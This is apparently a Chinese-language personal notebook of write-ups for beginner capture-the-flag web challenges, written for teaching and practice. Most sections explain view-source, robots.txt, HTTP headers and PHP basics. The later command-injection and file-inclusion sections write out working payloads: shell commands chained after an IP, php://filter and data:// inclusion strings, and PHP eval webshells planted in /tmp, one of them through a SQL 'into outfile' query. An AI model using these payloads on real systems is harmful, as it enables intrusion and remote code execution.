此文章用作个人笔记,实时更新
view_source
view-source是一种协议,查看网页源码
思路
-
方法一:右键查看网页源代码
-
方法二:F12开发者工具
- 方法三:view-source:url
小计
<!-- -->是html的注释标签,在页面看不到,查看源码可以看到
robots
Robots协议,就是告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取.
使用方法:url/robots.txt
比如github
https://github.com/robots.txt
# If you would like to crawl GitHub contact us via https://support.github.com?tags=dotcom-robots
# We also provide an extensive API: https://docs.github.com
User-agent: baidu
crawl-delay: 1
User-agent: *
Disallow: /*/pulse
Disallow: /*/tree/
Disallow: /gist/
Disallow: /*/forks
Disallow: /*/stars
Disallow: /*/download
Disallow: /*/revisions
Disallow: /*/issues/new
Disallow: /*/issues/search
Disallow: /*/commits/
Disallow: /*/commits/*?author
Disallow: /*/commits/*?path
Disallow: /*/branches
Disallow: /*/tags
Disallow: /*/contributors
Disallow: /*/comments
Disallow: /*/stargazers
Disallow: /*/archive/
Disallow: /*/blame/
Disallow: /*/watchers
Disallow: /*/network
Disallow: /*/graphs
Disallow: /*/raw/
Disallow: /*/compare/
Disallow: /*/cache/
Disallow: /.git/
Disallow: */.git/
Disallow: /*.git$
Disallow: /search/advanced
Disallow: /search
Disallow: */search
Disallow: /*q=
Disallow: /*.atom
Disallow: /ekansa/Open-Context-Data
Disallow: /ekansa/opencontext-*
Disallow: */tarball/
Disallow: */zipball/
Disallow: /*source=*
Disallow: /*ref_cta=*
Disallow: /*plan=*
Disallow: /*return_to=*
Disallow: /*ref_loc=*
Disallow: /*setup_organization=*
Disallow: /*source_repo=*
Disallow: /*ref_page=*
Disallow: /*source=*
Disallow: /*referrer=*
Disallow: /*report=*
Disallow: /*author=*
Disallow: /*since=*
Disallow: /*until=*
Disallow: /*commits?author=*
Disallow: /*report-abuse?report=*
Disallow: /*tab=*
Disallow: /account-login
Disallow: /Explodingstuff/
思路
robots.txt中可能泄露了敏感文件
php_rce
拓展
ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架
思路
- rce远程代码执行漏洞
- 上github搜索相关内容
backup
php的备份文件有两种:.php~和.php.bak
备份文件泄露信息
cookie
cookie是储存在客户端浏览器上,代表唯一用户在web应用的会话标识
存在http请求头中
disabled_button
html中disabled 属性规定应该禁用 input 元素。
被禁用的 input 元素既不可用,也不可点击
weak_auth
此题考查burp的intruper模块的使用
弱口令字典爆破
simple_php
查看代码
主要考察php弱类型
show_source(filename,return) 推荐阅读
show_source()函数是highlight_file()函数的别称
注释:当使用该函数时,整个文件都将被显示,包括密码和其他敏感信息
show_source() 函数对文件进行语法高亮显示,filename(必须参数,要进行高亮处理的 PHP 文件的路径),
return 默认为false,当写true时候,那么该函数会返回被高亮处理的代码,而不是输出它们。否则,若成功,则返回 true,失败则返回 false。
啥意思呢?
这是一段php代码,请忽略我lj的代码
<html>
<body>
<h1>这是h1标签</h1>
<?php
echo'你好 年轻人!</br>';
echo'//是单行注释</br>';
echo '/*这是多行注释*/</br>';
echo '如果只是将结果换行显示在浏览器或者屏幕上,使用</br>,如果只是源代码中换行,
windows使用\r\n,unix系统使用\n</br>';
//show_source('php1.php');
?>
</body>
</html>
在浏览器中查看
将//show_source('php1.php');注释符号'//'去掉
浏览器再次查看
so?
var_dump() 输出变量的相关信息
_FILE_ 文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
== php中等于符号,只比较值,不比较类型 推荐文章
=== 全等于,先比较类型,类型不同直接返回false;
类型相同,再比较值,值同,返回true,不同false
is_numeric() 函数用于检测变量是否为数字或数字字符串。
条件:变量满足$a==0为true,并且变量a不为0
变量b大于1234,并且不是数字或数字字符串
?a=asd&b=1235a
get_post
get请求的参数url可见,服务器上获取数据
POST是向服务器传送数据
Referer (页面跳转处)
get请求
GET /?a=1 HTTP/1.1 #请求方法,参数,http协议版本(现在大多是1.1)
Host: 111.200.241.244:61636 #对应网址URL中的Web名称和端口号,用于指定被请求资源的Internet主机和端口号,通常属于URL的一部分。默认是80端口,如果是8080端口的话,则为: www.baidu.com:8080
Cache-Control: max-age=0 #如果所有的中间服务器都实现以 HTTP/1.1为标准,那么直接使用 Cache-Control:no-cache 即可,如果不是的话,就要包含两个字段
分别是Cache-Control:no-cache Pragme:no-cache
Referer:http://
Upgrade-Insecure-Requests: 1 #(升级为HTTPS请求)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 #客户端浏览器名称
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 #接收的文件类型
Accept-Encoding: gzip, deflate #指出浏览器可以接受的编码方式
Accept-Language: zh-CN,zh;q=0.9 #浏览器可以接受的语言种类
Connection: close #表示客户端与服务连接类型,当传输的数据较小时,可以一次传输完成时,Connection的值为close,当传输的数据较大时,不能一次性传输完成时,则数据需要分块传输,即把 Connection 的值设置为 keep-alive
post请求
POST /?a=1 HTTP/1.1
Host: 111.200.241.244:61636
Content-Length: 3#表示请求或响应体的内容长度
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Origin: http://111.200.241.244:61636
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://111.200.241.244:61636/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
b=2
Content-Type - 内容类型,描述请求或响应体的内容的 MIME 格式,表示资源类型,如:
text/html 表示一份HTML文档,
text/css 表示一份 CSS 样式单
application/javascript 表示 javascript 脚本程序
video/mp4 表示 mp4 音视频
image/png 表示 png 图片
http协议 超文本传输协议 发布和接受html页面的方法
https超文本传输安全协议 在http下加入了ssl层
HTTP和HTTPS均是由TCP协议封装而来,在进行http协议和https协议时,需要进行 三次握手和四次挥手
SSL(Secure Sockets Layer 安全套接层)主要用于Web的安全传输协议,在传输层对网络连接进行加密,保障在Internet上数据传输的安全
xff_referer
其中的值通过一个 逗号+空格 把多个IP地址区分开, 最左边(client1)是最原始客户端的IP地址, 代理服务器每成功收到一个请求,就把请求来源IP地址添加到右边。 在上面这个例子中,这个请求成功通过了三台代理服务器:proxy1, proxy2 及 proxy3。请求由client1发出,到达了proxy3(proxy3可能是请求的终点)。请求刚从client1中发出时,XFF是空的,请求被发往proxy1;通过proxy1的时候,client1被添加到XFF中,之后请求被发往proxy2;通过proxy2的时候,proxy1被添加到XFF中,之后请求被发往proxy3;通过proxy3时,proxy2被添加到XFF中,之后请求的的去向不明,如果proxy3不是请求终点,请求会被继续转发。
xff格式
X-Forwarded-For: client, proxy1, proxy2
webshell
直接上工具,菜刀,蚁剑
command_execution
命令执行
| windows中,只执行后面;linux中叫管道符,把前面命令的执行结果作为后一个命令的对象,详细点就是,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推
|| 逻辑或,windows.linux都一样,前面的错误才执行后面的
&& 逻辑与。前面正确才执行后面的
& windows中和&&一样,linux中,命令a&命令b 将命令a放在后台运行
127.0.0.1&&find / -name "*name"
127.0.0.1&&cat /home/flag.txt
simple_js
代码审计
\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30
就是 C/C++ 里普通的转义字符。
直接用cout 或者 printf 就能显示出来。
也可以查ASCII表,每个\x后面的两位 是一个十六进制数,在ASCII表中找到对应的,就可以查到相应的字符。
>>> a="\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
>>> print(a)
55,56,54,79,115,69,114,116,107,49,50
>>>
源码构造了一个函数,但代码中对传入的参数并没有实质性用到,用的仍然是pass
推荐阅读XCTF_Web_新手练习区:simple_js(源代码详解)_1stPeak's Blog-优快云博客
推荐阅读攻防世界 simple——js - ainv - 博客园
String.fromCharCode():实现 ascii码转字符
所以引用chr()函数
a = [55, 56, 54, 79, 115, 69, 114, 116, 107, 49, 50]
password = ''
for i in a:
b = chr(i)
password = password+b
print(password)
786OsErtk12
Process finished with exit code 0
baby_web
初始页面index.php做了重定向302,f12查看可以响应看到falg
Training-WWW-Robots
robots.txt
robots协议
php_rce
远程命令执行
熟悉thinkphp一些版本的漏洞,上github搜索
thinkphp,是基于php的一个mvc的框架 ,是php写的一个产品,一个框架,就是把一些重复的东西封装在一起
Web_php_include
文件包含
php str_replace()函数
把字符串 "Hello world!" 中的字符 "world" 替换成 "Peter":
<?php
echo str_replace("world","Peter","Hello world!");
?>
注释:该函数是区分大小写的。请使用 str_ireplace() 函数执行不区分大小写的搜索。
注释:该函数是二进制安全的
$ php变量符号
include()文件包含函数 PHP: include - Manual
global()关键字 作用:实现在函数内部访问全局变量PHP 变量 | 菜鸟教程
如果在一个函数中要访问一个全局变量,就需要使用global
<?php
$x=1;
$y=2;//这是一个全局变量
echo '$y';
echo "</br>";
echo "$y";
echo "</br>";
function test(){
global $x;
global $y;
$y=$x+$y;
echo "$y";
}
test();
echo "</br>";
echo $y;
?>
strstr(str1,str2)
strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。
<?php
show_source('strstr().php');
$ceshi=strstr('hello,LY,study php','LY');
echo "$ceshi";
echo "</br>";
echo "//这是php单行注释";
echo "</br>";
echo "strstr(str1,str2,false)默认是false";
echo "</br>";
$ceshi1=strstr('hello,LY,study php','LY',true);
echo "$ceshi1";
?>
浏览器如下
参考大佬文章 攻防世界 web进阶区 web_php_include - 昊辰的小站
【文件包含】文件包含漏洞知识总结_Monsterlz123的博客-优快云博客_文件包含
php://input php伪协议
利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码
一 因为str_replace()对大小写敏感
尝试使用大小写混合绕过
发现fl4gisisish3r3.php
cat 查看
<?php system("cat fl4gisisish3r3.php");?>
采用php://filter以base64编码的方式读取指定文件的内容:
php://filter/read=convert.base64-encode/resource=[文件路径]
得到base64编码后的flag
二
data://伪协议
data:text/plain,<?php%20system("ls")?>
?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCdscycpPz4= 64编码
base64编码后的+,要改成url编码 %2B
?page=data:text/plain,0x<%3Fphp%2520system(%2527ls%2527)%3F> url编码
三
data://传木马
?page=data:text/plain,base64,%3C?php%20system(%27ls%27)?%3E写入到tmp目录,tmp目录linux默认可写目录
<?php eval($_POST[xiaohua]); ?> base64加密后拼接
?page=data://text/plain/,base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==
<?php fwrite(fopen('/tmp/LY.php','w'),'<?php @eval($_POST['LY']);?>');?>
四
数据库写木马 攻防世界 Web_php_include write up - Zhu013 - 博客园
御剑扫描获得phpmyadmin root 密码空 进入
数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写
SHOW VARIABLES LIKE "secure_file_priv"
linux默认tmp是可写目录 试试写入一句话马 菜刀连接
select "<?php eval(@$_POST['LY']);?>"into outfile '/tmp/LY.php'